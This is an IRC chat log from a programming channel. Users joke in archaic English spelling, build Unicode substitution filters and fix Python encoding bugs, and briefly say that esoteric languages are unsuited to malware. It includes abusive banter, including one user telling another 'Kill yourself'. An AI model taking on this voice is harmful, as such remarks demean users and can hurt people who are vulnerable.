not complaining, it works ok 00:42:51 GregorR, that was the intention 00:42:51 GregorR-L: I þought þou wert going to use long S? 00:43:00 but i think that i prefer the other way is all 00:43:05 A hint: if it's not þe final s, use it. ;) 00:43:20 ſ FTW. 00:43:22 pikhq: Yeah, I'm trying to write at as a sed expression :P 00:43:23 i voiced it because ehird was talking about (possibly?) redoing the tournament structure 00:43:29 I am doing it 00:43:34 and I'm open to suggestions 00:43:52 I ink someing in between would probably be better, but I don't ink my system is bad :P 00:44:20 Sweet! I juſt found out what þe compoſe combination for it is. :) 00:44:34 oh? 00:44:42 (Þere is not a capital long S) 00:44:42 I think your system is pretty good, GregorR-L, but instead of winning against points, it should be win against score. Yes, this is an infinite regress, but if you can solve that it'll probably end up fairer. 00:44:46 AltGr-S maybe? 00:44:47 AnMaster: Compose f s 00:44:49 what it amounts to is, 00:44:56 Have some sort of base case. 00:44:57 pikhq, what is "compose" 00:44:59 two equally good programs can score widely differently 00:45:01 ehird: I desperately want to solve at, I haven't found a fixed point. 00:45:02 pikhq, is it "altgr"? 00:45:03 depending on how they do against each other 00:45:06 and i don't think that is desirable 00:45:09 No. 00:45:13 GregorR-L: I'll toy with stuff when I make my infrastructure ~tomorrow. 00:45:18 Altgr is someþing else entirely. 00:45:19 is it good idea to build a lang that allows to define custom infix operators just like functions ? 00:45:20 pikhq, where do I find the compose key then..... 00:45:21 Erm. 00:45:37 Altgr is ſomeþing elſe entirely. 00:45:40 .............. 00:45:41 AnMaster: Your space cadet keyboard. 00:45:49 ehird, assume I don't have one 00:45:52 but I guess pikhq does 00:45:54 AnMaster: Moſt keyboards don't have one. 00:45:56 AnMaster: Your life is terrible. Kill yourself. 00:45:59 pikhq, your have one? 00:46:06 Þiſ iſ a test. 00:46:10 ehird, I'm not as sensitive as you 00:46:11 He may have another kb with a compose key. 00:46:11 Uh, whoopſ. 00:46:13 I bound þe Windows key to compoſe. 00:46:15 Exactly e opposite of correct. 00:46:17 Using a space cadet keyboard would be hell. 00:46:20 http://upload.wikimedia.org/wikipedia/commons/4/47/Space-cadet.jpg 00:46:23 ehird, why hell 00:46:25 Tons of useless keys and no F-keys, etc. 00:46:40 keycode 133 = Multi_key Multi_key Multi_key Multi_key Multi_key Multi_key 00:46:43 keycode 134 = Multi_key Multi_key Multi_key Multi_key Multi_key Multi_key 00:46:45 AnMaster: w/ a conventional OS, I mean. 00:46:45 ehird, I don't use F-keys often 00:46:47 Þis is a teſt. 00:46:50 Perfect :) 00:46:54 I'm in love with that keyboard 00:46:55 ^ xmodmap ſcript. 00:46:56 Anybody elſe want my annoying plugin? 00:47:04 GregorR-L: I'd love it. 00:47:05 Perfect :) <-- Therfect? 00:47:12 AnMaster: still, those greek things, "over strike", a bloody "help" key 00:47:13 AnMaſter: X-D 00:47:17 I can't tell the difference in this font 00:47:18 ... 00:47:18 Fuck, it even has turnstiles 00:47:19 pikhq: It's in Perl :( 00:47:21 wouldn't be useful for linux etc 00:47:24 GregorR, and that doesn't highlight me 00:47:26 so FAIL 00:47:30 pikhq: (Þe Pyþon infraſtructure ſeems to have problems and cauſe infinite recurſions) 00:47:30 http://upload.wikimedia.org/wikipedia/commons/4/47/Space-cadet.jpg << wtf, i want one 00:47:32 I'm sure he cares 00:47:39 nooga: just buy a used lisp machine 00:47:47 You mean a liſp machine. 00:47:49 GregorR, tell me when you fixed so it doesn't mess up highlighting 00:47:49 :P 00:47:49 ah, it's for lisp 00:47:50 makes more noise than an airplane and is a billion times slower than one, and also expensive 00:47:54 but damn is it lovely. 00:47:55 Is it for irſsi? 00:47:58 as i expected 00:47:58 (note: i don't have one) 00:48:00 pikhq: xchat 00:48:08 nooga: yeah, that's why () are unshifted 00:48:10 Curſes. 00:48:10 and [] are shifted 00:48:17 Congreſs 00:48:25 i did that change on this os x box before upgrading 00:48:26 it was quite nice 00:48:31 I use () a lot more than [], personally 00:48:43 BTW, one could juſt as well type 'irßi'. :p 00:48:46 wise 00:48:56 pikhq: Wrong language ;) 00:49:02 Yes, I know. 00:49:03 Each of these might, in addition, be typed with any combination of the "control", "meta", "hyper", and "super" keys. On this keyboard, it is possible to type over 8,000 different characters. This allowed the user to type very complicated mathematical text, and also to have thousands of single-character commands at their disposal. Many users were actually willing to memorise the command meanings of that many characters if it reduced typing time (this atti 00:49:06 tude shaped the interface of Emacs). [2] Other users, however, thought that so many bucky bits was overkill, and objected to this design on the grounds that such a keyboard can require three or four hands[1] to operate. 00:49:10 8,000 key combinations 00:49:18 ehird: ſo, got a fixed point ſolution? 00:49:25 GregorR-L: I'm thunkin' 00:49:43 nooga: yeah, that's why () are unshifted and [] are shifted <-- What layout has [] unshifted!? 00:49:51 ſuck þoo 00:49:54 AnMaster: US/UK QWERTY/DVORAK. 00:49:56 *Dvorak 00:49:57 this one has () shifted and [] altgred 00:50:03 O_o 00:50:06 ehird, but even in English () is more common than []! 00:50:16 Shifted [] = {}. () are on 9 and 0. 00:50:18 AnMaster: Yep, it's stupidus maximus. 00:50:38 7890 Shift: /()= AltGr: {[]} 00:50:53 [01:50:09] [...] () are on 9 and 0. 00:51:07 Yeah, that's hellish when games/stuff use the US/UK layout 00:51:16 ) gets turned to ( 00:51:27 FireFly, in games you can just remap keys usually 00:51:39 Yeah, but if one use standard settings 00:51:50 Try to write a happy smiley, and it's sad 00:51:56 :D 00:52:01 FireFly, err? 00:52:05 Yeah? 00:52:12 Our shift+9 = ) 00:52:12 FireFly, how would it be sad 00:52:18 UK shift+9 = ( 00:52:22 :) gets :( 00:52:27 :( is sad, as far as I know? 00:52:28 input would be read using current layout right? 00:52:40 US ſhift+9 = ( too 00:52:44 as in... it uses whatever OS uses 00:52:52 Huh, ſh ſhouldn't have a long s, ſhould it. 00:52:54 Well, I've had stuff which uses US/UK layouts 00:53:17 And overrides system settings, I guess 00:53:30 crappy programming 00:53:40 US shift+9 = ( too 00:53:49 GregorR, "too"? 00:53:51 ∂umb 00:54:03 Like UK 00:54:03 As in, just like the UK layout 00:54:04 if you want to read a string you should use the OS layout. 00:54:05 I guess 00:54:08 GregorR-L: 'ſh' ſhould have þe long s. However, ſs ſhould not. 00:54:21 pikhq: Þe conſtitution ſays oþerwiſe. 00:54:24 how about ∂ ? 00:54:28 if you are using it for action keys or whatever in a game then it might not work to do so 00:54:36 rather you want to read it based on position 00:54:51 GregorR-L: Erm. Þe ſecond 's' ſhouldn't be long in þat ſituation. 00:54:59 pikhq: Ah 00:55:01 Ü 00:55:17 nooga: ð, þou meanſt? 00:55:37 well I guess I HAVE to write that reverse-filter now 00:55:43 since this is unreadable in this font size 00:55:44 pikhq: ah, yes 00:55:47 fuck you both 00:55:51 Heh 00:55:56 00:53 AnMaster: crappy programming 00:56:01 for a game layout, the layout is important 00:56:03 not the bound letters 00:56:07 ehird, read all 00:56:08 so they just reused the code for the chat system, I'd assume 00:56:10 BEFORE 00:56:10 you 00:56:12 comment 00:56:17 AnMaster: No. 00:56:26 AnMaster: Þou ſhould uſe a better font, meþinks. 00:56:28 ehird, yes they shouldn't reuse it for chat system idiot 00:56:36 AnMaster: You're really angerable. It's funny. 00:56:37 pikhq, Dejavu Sans Mono 9 pt 00:56:57 What a coincidence. Þat'ſ what I'm uſing. 00:57:28 pikhq: anmaster's display is like 4dpi 00:57:41 Erm. Þinko on “Þat's”. 00:57:58 ehird: Þat's lamer þan fuck. 00:58:07 ehird, 86 dpi iirc 00:58:11 pikhq: Just like AnMaster! 00:58:15 OK, I þink I'm done wiþ all my Engliſh language changes. 00:58:16 OH BUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU 00:58:17 UUUUUUUUUU 00:58:18 UUUUURN. 00:58:31 GregorR, so you will revert to normal? 00:58:50 GregorR-L: Yeah, I þink you've got it all coveréd. 00:58:56 pikhq: I alſo added æ and œ 00:59:02 i Þink Þat Þiſ whole ſtyle haſ a future 00:59:05 oh god 00:59:13 Nice. 00:59:17 nooga: Improper uſe of ſ 00:59:28 nooga: You're doing it wrong. 01:00:04 However, I certainly þink þis has a future. If only in þis chatroom. 01:00:04 what'ſ Þe rule? 01:00:15 nooga: Only when not at e end of e word. 01:00:27 nooga: Not at the end of a word, not after a ſ. 01:00:50 Oh, and not before an f. 01:00:57 ſucks ? 01:01:20 So, one types "ſatisfaction", not "ſatiſfaction". 01:01:40 Alſo, there's not a capital long s. 01:01:49 gööd 01:01:50 GregorR, so þ => th ſ => s ? 01:01:57 what other changes did you make 01:02:10 AnMaster: ae = æ, oe = œ. 01:02:29 Encyclopædia 01:02:29 what are the upper case versions 01:02:31 I juſt added þe more abſurd changes of þy and þys :P 01:02:37 Errr, ſcrewed þat up. 01:02:43 Æ Œ ? 01:03:01 y face is ugly! 01:03:03 :P 01:03:05 It works! 01:03:06 Muahahahaha 01:03:18 so does mine! :) 01:03:22 a filter? 01:03:26 " Thy face is ugly!" 01:03:29 yes! 01:03:29 :( 01:03:40 GregorR-L: In early Engliſh typography, ss = ß. 01:03:45 You could add þat. ;) 01:03:46 pikhq: ſRſLY? 01:03:47 AnMaster agrees to the statement? 01:04:00 Yes. 01:04:02 piß 01:04:03 FireFly, which statement 01:04:09 [02:03:26] " Thy face is ugly!" 01:04:09 [02:03:29] yes! 01:04:09 pikhq: I don't ſee þat anywhere on þis Wikipedia page. 01:04:11 So, it would be "In Congreß Aßembled." 01:04:16 GregorR, no 01:04:20 FireFly, ^ 01:04:21 pikhq: Except it iſn't. 01:04:26 Heh 01:04:28 it was "yes" as in "yes it works" 01:04:33 I figured 01:04:33 GregorR-L: http://www.babelstone.co.uk/Blog/Images/TrueCopie_1585_AII.jpg 01:04:39 *Early*. ;) 01:04:54 Aß 01:05:23 Huh, ere it is. 01:05:27 And þat's clearly Engliſh. 01:05:52 Early modern, certainly, but definitely þe ſame language. 01:06:45 Heh, no more need to learn german für mich~ 01:07:02 Although I still like the language 01:08:50 http://paſtebin.ca/1440365 01:09:26 X-D 01:09:31 http://paſtebin.ca/1440365 01:09:36 Uh ohs :P 01:09:38 LMAO 01:09:39 http://pastebin.ca/1440365 01:09:42 Got it :P 01:09:44 Heh 01:09:47 Holy... 01:10:09 Gregor. When I copied the firſt one into my browſer, it converted ſ into s. 01:10:18 ſweet :P 01:10:38 BTW, ſtop þe replacement for capital S. 01:10:45 Þat ſhould always be S. 01:10:58 ORLY? 01:11:19 Done. 01:11:23 Silly ough. 01:11:37 Time for me to ſleep 01:11:45 -!- FireFly has quit ("Later"). 01:11:50 Yeah. It's juſt þat þere's not a long capital S. 01:12:17 pikhq: Yeah, but þey ſhouldn't have to ſhare a capital wiþ 's' :P 01:12:46 Fair enough. :) 01:13:25 GregorR-L: It seems to me like you could go further. 01:13:39 ehird: It ſeems to me like you could þink of a fixed point algoriþm for þe hill :P 01:13:44 <_< 01:13:45 Poßible. 01:13:57 GregorR-L: In that image you linked, the s-as-wavy-f-like-thing is there. 01:14:01 And also there are some nicks on top of e and o. 01:14:07 (In what looks like "aprrhelfio") 01:14:10 Er, what pikhq linked. 01:14:33 ehird: I linkéd þat. 01:14:39 Er, what pikhq linked.← 01:14:45 Yeah, Idonno what at is. 01:14:48 Þose are ſome older ligatures þat you're ſeeing. 01:15:12 LaTeX can output þat wiþ þe right options. 01:15:38 But þere is no Unicode characters it ſeems. 01:16:16 No; þat's juſt a typeſetting þing, you ſee. 01:16:26 'spretty, though 01:16:28 Shore ſhore 01:19:47 GregorR, I made some adjustments 01:19:50 please speak 01:19:51 ? 01:19:54 OK 01:19:56 Þis is me ſpeaking. 01:20:00 meh 01:20:03 it doesn't work 01:20:05 any more 01:20:08 * GregorR-L wins! 01:20:13 now it works again 01:20:56 Þis is me ſpeaking. 01:22:59 GregorR, again please 01:23:07 it is still slightly buggy 01:23:25 well? 01:24:25 Þis is me ſpeaking. 01:24:30 Sorry, was elſewhere. 01:24:36 But en, SO'S Y FACE. 01:24:40 hm 01:24:43 almost 01:25:57 Isn't this just s/Þ/Th/g ; s/þ/th/g ; s/ſ/s/g ? 01:26:15 so it is.. the issue was hooking in properly with irc client 01:26:45 and I can't do anything about your replace being lossy 01:26:56 so there was a "ThY" yes 01:30:36 -!- Corun has changed nick to Corun|away. 01:30:38 Eh 01:30:48 -!- Corun|away has changed nick to Corun. 01:31:53 GregorR-L: Green? 01:35:13 ehird: ...? 01:35:27 GregorR-L: It is merely a question, bitch. 01:35:56 fungot, there? 01:35:57 AnMaster: " people come to visit granny weatherwax?' 01:36:05 ok. that is broken... 01:36:19 I hate you GregorR for this extra work I had to do 01:36:33 lawl 01:36:46 fungot, there? 01:36:47 AnMaster: the correction appeared to pass unnoticed. 01:37:13 fungot, .. 01:37:14 AnMaster: ' ten days ago. can't remember where.' lu-tze scanned the sky. 01:38:01 fungot, ok? 01:38:01 AnMaster: ' fine,' said mrs ogg cheerfully. ' and wouldn't it be nice if you didn't do somewhere else. it's a strong nail," said the lecturer in recent 01:38:11 right. Now it works for every other channel.... 01:38:42 ^ul (...)S 01:38:43 ... 01:39:14 artificial 01:39:15 ehird, how do you compare strings in python btw... I'm trying to do this in the bouncer... 01:39:20 AnMaster: == 01:39:29 ok then that wasn't the issue... 01:39:43 ^ul (...)S 01:39:44 ... 01:39:54 ah found it... 01:40:24 ^ul (two words )S 01:40:24 two words 01:40:27 right 01:41:18 ^ul (two wordsÞ Þ )S 01:41:18 two wordsÞ Þ 01:42:15 ^ul (two wordsÞ Þ )S 01:42:16 two wordsÞ Þ 01:42:22 UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 9: ordinal not in range(128) 01:42:23 what 01:42:27 ehird, any idea? 01:42:35 AnMaster: What it says. 01:42:57 ehird, so how do I operate on unicode in python 01:43:09 Using the unicode type and the functions designed for it. 01:43:11 read the docs 01:43:14 print for debugging shows 'two words\xc3\x9e \xc3\x9e' 01:43:24 is what I get 01:43:31 hm 01:43:33 -!- goonx has joined. 01:43:41 I wonder where you can get a laptop chassis. 01:43:42 ehird, I guess I have to cast it to unicode then... 01:43:43 hi, anyone good in brainfuck? 01:43:48 AnMaster: "cast"? No. 01:43:52 ehird, then what 01:43:54 AnMaster: You have to handle encodings. 01:44:09 'cos I have just a theory question 01:44:16 ehird, print message shows 'two words\xc3\x9e \xc3\x9e' 01:44:24 AnMaster: Read. 01:44:24 The. 01:44:26 Documentation. 01:44:28 goonx: oh 01:44:29 ? 01:44:32 ehird, which part. it is very huge 01:44:41 AnMaster: Read the table of contents, goddamn. 01:44:42 is it possible to write simply malware code in BF? 01:44:49 goonx: ............................ What? 01:44:51 Ha 01:44:51 (pikhq) 01:44:52 or in other esoteric languages? 01:44:57 goonx: define malware 01:45:03 and why on earth do you want to do this 01:45:05 Not generally, þey moſtly have no acceſs to any OS ſervices. 01:45:44 i'm like analyzing malware code, so i ask if that code could be written in esoteric languages 01:46:01 goonx: By "analyzing malware code", you mean "I want to give BF malware to someone" 01:46:06 Don't deny it. 01:46:11 Hahaha 01:46:17 no 01:46:18 -!- Corun has changed nick to Corun|away. 01:46:35 goonx: Okay then, "intrepid malware research specialist" 01:46:38 -!- Jake_ has joined. 01:46:41 sometimes i "hunt" for some malwares, download it on my P, and watch how the are running 01:46:58 goonx: That involves neither analyzing nor code. 01:47:06 That's just theater. 01:47:08 like using disassemblers, debugger, hexeditors, etc 01:47:16 ^ul (two wordsÞ Þ )S 01:47:16 two wordsÞ Þ 01:47:16 You din't say that. 01:47:19 yay 01:47:32 ^ul (two wordsÞ Þ )S 01:47:32 two wordsÞ Þ 01:47:42 ^ul (two wordsÞ Þ )S 01:47:43 two wordsÞ Þ 01:47:44 ehird, could you paraphrase? 01:47:52 goonx: ? 01:48:16 "That involves neither analyzing nor code." and "That's just theater.", could you rewrite that sencente using another words? 01:48:24 sorry, i'm not a native speaker 01:48:46 ^ul (two wordsÞ Þ )S 01:48:47 two wordsÞ Þ 01:49:17 ^ul (two wordsÞ Þ )S 01:49:18 two wordsÞ Þ 01:49:23 perfect 01:49:28 goonx: First one was a reply to [[01:46 goonx: sometimes i "hunt" for some malwares, download it on my P, and watch how the are running ]], saying that what you said doesn't actually mean analyzing and doesn't involve code. "That's just theater" meant: that's just watching it for entertainment. But then you clarified, mentioning disassemblers and debuggers, so I said "you didn't say that". (din't being a variation on didn't for no apparent reson) 01:49:31 *reason 01:49:47 now just to remove the debug output 01:50:34 yup, but after I see how they're running, I could see, which programming language was used to write them 01:50:48 in most of cases it was ASM, C, C++, Delphi, etc 01:50:57 -!- Corun|away has changed nick to Corun. 01:51:00 can you recognize fortran? 01:51:03 goonx: Well, in Brainfuck, the most interaction with the non-brainfuck systems you can do is inputting one character and outputting one character (character = letter, symbol etc) 01:51:10 have nebver found esoteric language (or my analyzing skills are too low to check that) 01:51:19 Well, moſt eſolangs have no acceſs to OS features, and even if þey did nobody would uſe þem for malware :P 01:51:20 goonx: Esolangs are generally interpreted, not compiled. 01:51:30 What GregorR-L said (although it may be hard to read with his odd letters.) 01:51:36 goonx: esolangs aren't quite useful for such tasks 01:51:41 (ſ = s, þ = th) 01:51:55 pikhq: remember when we talked about high-DPI displays? 01:52:02 ......................... ¿Malware? In Brainfuck? 01:52:07 ehird: Yes? 01:52:12 i just asked about it, 'cos it was something like a curiosity for me ;) 01:52:19 ^ul (Testing: th:þ Th:Þ s:ſ ae:æ Ae:Æ oe:œ Oe:Œ)S 01:52:19 Testing: th:þ Th:Þ s:ſ ae:æ Ae:Æ oe:œ Oe:Œ 01:52:24 yay 01:52:24 pikhq: I may have occasion to actually buy a >150DPI display quite soon as part of a project. 01:52:26 perfect match 01:52:29 Testing: th:th Th:Th s:s ae:ae Ae:Ae oe:oe Oe:Oe 01:52:52 goonx: It's kinda impoſsible, aſide from PSOX. 01:52:56 Þere are very few 'æ's in Engliſh anyway. 01:52:56 GregorR-L, so say that line again. Lets see if it works for you too 01:52:58 ehird: Noice. 01:53:00 What? 01:53:15 þ:þ Þ:Þ s:ſs æ:æ Æ:Æ œ:œ Œ:Œ 01:53:23 GregorR-L: Þere are in Britiſh Engliſh. 01:53:29 pikhq: True. 01:53:30 pikhq: Specifically, around, say, a 10" display @ 1280x1024. (= 163dpi, 0.155mm dot pitch) 01:53:31 GregorR, odd... why wasn't eſolangs translated when you said it 01:53:34 very odd 01:53:37 pikhq: For a "homebrew netbook" project. 01:53:41 AnMaster: hard/soft s? 01:53:44 ok, so thanks for help me :) 01:53:52 ehird, um? What 01:53:52 goonx: no problem 01:53:54 "Fœtus", for example. 01:53:55 I originally had stuff to prevent malware via PSOX.. but ehird removed it 01:53:58 AnMaster: Look it up 01:54:01 ehird: Spiffy. 01:54:04 Sgeo: Yes, because it was ridiculous :P 01:54:10 pikhq: I'm not sure you can buy such displays, though. 01:54:13 Sounds ridiculous. 01:54:17 ehird, I just do string replace: string.replace(s, u"ſ", "s") <-- why didn't that work once 01:54:22 high-dpi stuff seems to tend to be either big or really small 01:54:31 AnMaster: ? 01:54:32 if I wanted to write malware to domage, i wouldn't ask here :P 01:54:44 * pikhq goes back to Fullmetal Alchemiſt 01:54:46 goonx: And preſumably you wouldn't write it in Brainfuck :P 01:54:49 -!- Jake_ has quit ("ChatZilla 0.9.84 [Firefox 3.5b4/20090423204732]"). 01:54:53 ehird, string.replace(s, u"ſ", "s") still left "eſolangs" 01:55:02 esoteric languages are;nt as powerfull ;anguages as C or ASM, where you can do everything you want much easier ;) 01:55:03 AnMaster: That should not happen. 01:55:16 ehird, agreed! 01:55:54 pikhq: Oh, also. 01:56:03 pikhq: It's not just a ~160dpi display. It's also OLED. 01:56:06 Yes, that OLED. 01:56:24 I may have to DIY my own display. ;) 01:56:25 s = string.replace(s, u"þ", "th") 01:56:25 s = string.replace(s, u"Þ", "Th") 01:56:25 s = string.replace(s, u"ſ", "s") 01:56:27 and so on 01:56:29 ok, good night ;), or bye (dunno whch timezone you have :P) 01:56:34 that seems a bit... verbose 01:56:41 !addinterp gregor sh sed 's/þ/th/g ; s/Þ/Th/g ; s/ſ/s/g ; s/æ/ae/g ; s/Æ/Ae/g ; s/œ/oe/g ; s/Œ/Oe/g' 01:56:42 Interpreter gregor installed. 01:56:45 also I feel uncomfortable with the mutable variables! 01:56:47 :( 01:56:48 !gregor Þis is in Gregoriſh! 01:56:49 This is in Gregorish! 01:56:51 :P 01:56:55 !gregor This is in Gregorish! 01:56:55 This is in Gregorish! 01:56:55 -!- goonx has quit ("MegaIRC v3.97 http://ironfist.at.tut.by"). 01:56:56 what? 01:57:02 AnMaster: LAWL 01:57:04 !addinterp gregor sh sed 's/th/th/g ; s/Th/Th/g ; s/s/s/g ; s/ae/ae/g ; s/Ae/Ae/g ; s/oe/oe/g ; s/Oe/Oe/g' <-- huh? 01:57:05 Hahahahah 01:57:05 You suffer for your sins. 01:57:12 REPENT AND REMOVE THE EVIL 01:57:12 Haaaaaaaaaaahahahahah 01:57:21 ehird, I like it this way! 01:57:23 :) 01:57:47 AnMaſter: OBTAIN A BETTER MONITOR, ÞOU IGNOBLE KNAVE! 01:57:58 I could encode things by writing th or to represent binary digits 0 and 1 :P 01:58:10 pikhq, that didn't highlight me for some unknown reason 01:58:17 even though it looked perfectly normal 01:58:19 ... 01:58:38 :D 01:58:44 Sweet. 01:58:47 AnMaster: OBTAIN A BETTER MONITOR, ThOU IGNOBLE KNAVE! <-- your original convert is lossy 01:58:52 AnMaster: BUTTS 01:59:09 ehird, what about those 01:59:10 Of courſe it's loſsy. 01:59:24 AnMaſter: No, it's not. I'm not 'converting'. I am *typing* þorn. 01:59:33 ah 01:59:35 Typing pornography 01:59:38 Yeah, but ſo's þy face. 01:59:40 Oh yeah, mash my keys harder, bitch. 01:59:44 Alſo, take ſome eßes. 02:00:00 Alſo, take ſome eßes. <-- fun.. why didn't THAT one convert... 02:00:00 ehird: How's y algo goin? 02:00:08 how does that ſ differ 02:00:09 GregorR-L: I AM DOING OTHER THINGS BITCH 02:00:11 from the other one 02:00:15 pikhq, tell me 02:00:20 ehird: I'm doing oer bitches, ing! 02:00:26 :( 02:00:30 GregorR-L: I THOUGHT YOU WERE FAITHFUL 02:00:43 I'm pagan. 02:00:45 It's not an ſ. It's an ß. 02:00:46 Or ſomeþing :P 02:00:59 Oooh, "ſomeþing" is a good'n :P 02:01:05 pikhq, ... there are two unconverted ones in it 02:01:24 three even 02:02:12 ^ul (Alſo, take ſome eßes.)S 02:02:13 Alſo, take ſome eßes. 02:02:24 ^ul (Alſo, take ſome eßes.)S 02:02:24 Alſo, take ſome eßes. 02:02:30 !gregor Gregor dœſn't uſe ß. 02:02:31 Gregor doesn't use ß. 02:02:44 Oooh, dœſn't is anoþer good'n :þ 02:02:55 ^ul (Alſo, take ſome eßes.)S 02:02:55 Alſo, take ſome eßes. 02:03:06 AnMaster: Uh. I win? 02:03:06 ^ul (Alſo, take ſome eßes.)S 02:03:06 Alſo, take ſome eßes. 02:03:28 pikhq, sure. What is the secret behind those non-converting ſ 02:03:31 ^ul (Alſo, take ſome ees.)S 02:03:31 Alſo, take ſome ees. 02:03:36 wait that one worked 02:03:37 huh 02:03:45 AnMaster: Compoſe? 02:03:47 must be a unicode encoding bug 02:03:55 AnMaster: Ðo, can you handle ðhis? I am a dæmon of eðnic proportions. 02:03:58 pikhq, didn't properly translate back 02:04:02 in AnMaster: Compoſe? 02:04:11 You fail ſomeþing awful. 02:04:17 A demon of ethnic proportions? 02:04:18 pikhq, is it utf-8 02:04:30 Yes, it is. 02:04:46 It damned well better be; I *am* uſing en_US.UTF8 in urxvt. 02:04:50 GregorR-L: Yeð. 02:04:55 ^ul (Compoſe?)S 02:04:55 Compoſe? 02:04:57 ok 02:04:59 that one did work 02:05:12 Liðt proceðthing. 02:05:16 Er. 02:05:22 Liðt proceðing. 02:05:25 :D My setup on EpicMafia is liked by one of the best EM players :D 02:05:30 I laugh in þy general direction, ðou ſimpleton. 02:05:43 pikhq: Actually, ð never appears as the first letter. 02:05:53 True story. 02:06:13 ehird: Mmkay. Good to know. 02:06:13 ^ul (Alſo, take ſome eßes.)S 02:06:13 Alſo, take ſome eßes. 02:06:23 oh unicode decode error, as I expected 02:06:25 ðuck you! 02:07:29 -!- KingOfKarlsruhe has quit (Remote closed the connection). 02:07:52 oh 02:09:29 I gueſs it ſucks to be þou, þen? 02:09:30 ^ul (Alſo, take ſome eßes.)S 02:09:31 Alſo, take ſome eßes. 02:09:45 Heheh. ſucks. Þat's a good one. 02:10:06 ^ul (Alſo, take ſome eßes.)S 02:10:06 Alſo, take ſome eßes. 02:10:11 better 02:10:16 still something wrong 02:10:20 ^ul (Alſo, take ſome ees.)S 02:10:21 Alſo, take ſome ees. 02:10:23 ^ul (Alſo, take ſome eßes.)S 02:10:24 Alſo, take ſome eßes. 02:10:49 Lawlz. 02:10:51 ^ul (Alſo, take ſome eßes.)S 02:10:51 Alſo, take ſome eßes. 02:11:00 RuntimeError: maximum recursion depth exceeded in cmp 02:11:01 um 02:11:07 ₤awlz, I ſhould ſay. 02:11:22 -!- nooga has quit (Read error: 110 (Connection timed out)). 02:11:34 ^ul (Alſo, take ſome eßes.)S 02:11:34 Alſo, take ſome eßes. 02:11:38 yay 02:11:51 ^ul (Alſo, take ſome ees.)S 02:11:52 Alſo, take ſome ees. 02:12:21 ^ul (Alſo, take ſome ees.)S 02:12:22 Alſo, take ſome ees. 02:12:24 ^ul (Alſo, take ſome eßes.)S 02:12:24 Alſo, take ſome eßes. 02:12:28 perfect 02:12:29 and well 02:12:36 I won't bother translating ß 02:12:47 the issue is that unicode isn't trivial in python 2.x 02:12:59 it is in python 3 02:13:22 night 02:14:07 Failure. 02:14:21 Tcl has been doing Unicode for nearly ten years now. 02:15:36 AnMaster: You're an idiot. 02:15:42 Unicode in py3k = python 2.0 unicode. 02:15:54 unicode just became the type of "aaa", instead of str. 02:16:00 and str got renamed to bytestring or whatever 02:19:46 Unicode ſhouldn't matter here 02:19:53 Even if you juſt replace þe raw bytes of ß, it ſhould work. 02:21:29 So, I gueſs þat Pyþon ſucks. :p 02:21:45 pikhq: No, AnMaster just sucks at Python. 02:21:50 I'm sure there are terrible Tcl coders too. 02:21:56 * pikhq is ever-ſo-tempted to uſe "ß" in that 02:22:08 ehird: Probably. I kill þem. 02:22:25 I ſtill need to get around to ſtabbing Larry McVoy. 02:28:04 Funny, becauſe I need to get around to f-tabbing Larry McVoy 02:32:42 -!- Patashu has joined. 02:32:54 PATASHU I CHOOSE YOUUUUUUUUUUUUUU 02:33:18 shu! 02:33:23 actually the etymology of my name has no roots in pokemon 02:33:36 It didn't even occur to me until juſt now :P 02:34:25 how are all things esoteric 02:34:37 We're ſpeaking in broken middle Engliſh now. 02:35:19 (I ſtarted þat) 02:41:44 GregorR-L: You farted that? 02:41:47 I see. 02:48:29 GregorR-L: We're uſing Early Modern Engliſh. And aſide from our ſpelling being a bit more modern, 'tis perfectly correct. 02:48:49 pikhq: OK, ſo it's VERY broken Middle Engliſh :P 02:49:07 fuck 02:49:26 It's only ſlightly broken Middle English. 02:49:33 Erm. Engliſh. 02:50:19 Middle Engliſh waſn't very different from Early Modern Engliſh. Juſt þe pronunciation of everyþing. 02:50:33 So's y face. 02:50:51 Þat's þe only place I've uſed þe y o u r -> þy tranſlation :P 02:50:56 ugh 02:51:15 Nice work, good ſir Gregor. 02:52:10 mmmm fresh lemonade 02:52:16 i thought we had measuring cups but apparently we don't 02:52:26 Unicode dœſn't have hieroglyphs, dœs it? :( 02:52:39 so i made do with the citrus juicer's measurement for a cup of sugar 02:52:43 and a pint glass for 1.5 quarts 02:52:43 :P 02:52:45 GregorR-L: No, but Unicode 6.0 definitely will. 02:53:05 -!- pikhq has set topic: #eſoteric: Where ehird is always friendly, ſo long as þou doþ not talk to him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 02:53:25 what WON'T unicode 6 include? 02:53:33 I'm þinking þat þou're iſn't a word :P 02:54:25 Patashu: Voynich, Klingon, Tengwar, and my perſonal writing ſyſtem. 02:54:48 which is? 02:55:12 ehird: Unrepreſentable. 02:55:19 ? 02:55:28 I'm the only one þat uſes it. ;) 02:55:34 heh 02:56:30 Moſtly, I uſe it to jot down notes. And I only created it becauſe my high ſchool's freſhman ſcience courſe was very, very boring. 02:57:11 I have one of þoſe. 02:57:14 I even have a font for it. 02:57:32 PNG example, pleaſe? 02:57:48 i want one of them 02:57:49 bye 02:57:53 * pikhq is ſomewhat curious, þou seëst 02:58:27 http://codu.org/odikeh/Odikeh.ttf 03:00:27 -!- Corun has changed nick to Corun|away. 03:00:31 Not a PNG example, good ſir. 03:00:43 LAZY 03:01:33 -!- Corun|away has changed nick to Corun. 03:21:18 FORBLEBORBLE 03:55:12 -!- Corun has quit ("Leaving..."). 04:51:10 I added "dœs" and "has" to my tranſlator. 04:51:18 Erm, apparently I didn't add "ha" 04:51:56 Oh, I ſee what happened þere. 04:51:57 Fixy 04:52:16 ʇɪ оｐ ｐｌｎоɥѕ əｕоʎɹəʌə ｌооɔ оѕ ѕ͵ʇɐɥʇ 04:52:20 ¿ʇɥɓɪɹ ɪ ɯɐ ɹо ʇɥɓɪɹ ɪ ɯɐ 04:52:22 I added "doþ" and "haþ" to my tranſlator. 04:52:38 You're ſo right! 04:52:50 I ſhould change "you're" to "þou art" 04:53:21 thou'rt would work 04:53:25 and be more accurate 04:53:39 but of course, you might want to actually use "you're" 04:53:47 you can't really search and replace one tense into two 04:53:59 i think tense is the wrong term there 04:54:03 but i can't think of the correct one 04:54:28 Yuh 04:54:58 "grammatical person", i guess 05:00:03 -!- oerjan has joined. 05:06:06 Having fun wiþ þy Unicode, ſirs and fellows? 05:06:21 BTW, hello, Ørjan. 05:06:31 good moaning 05:07:29 GregorR-L: Alſo, “doþ” and “haþ” aren't always correct. 05:07:55 Only when 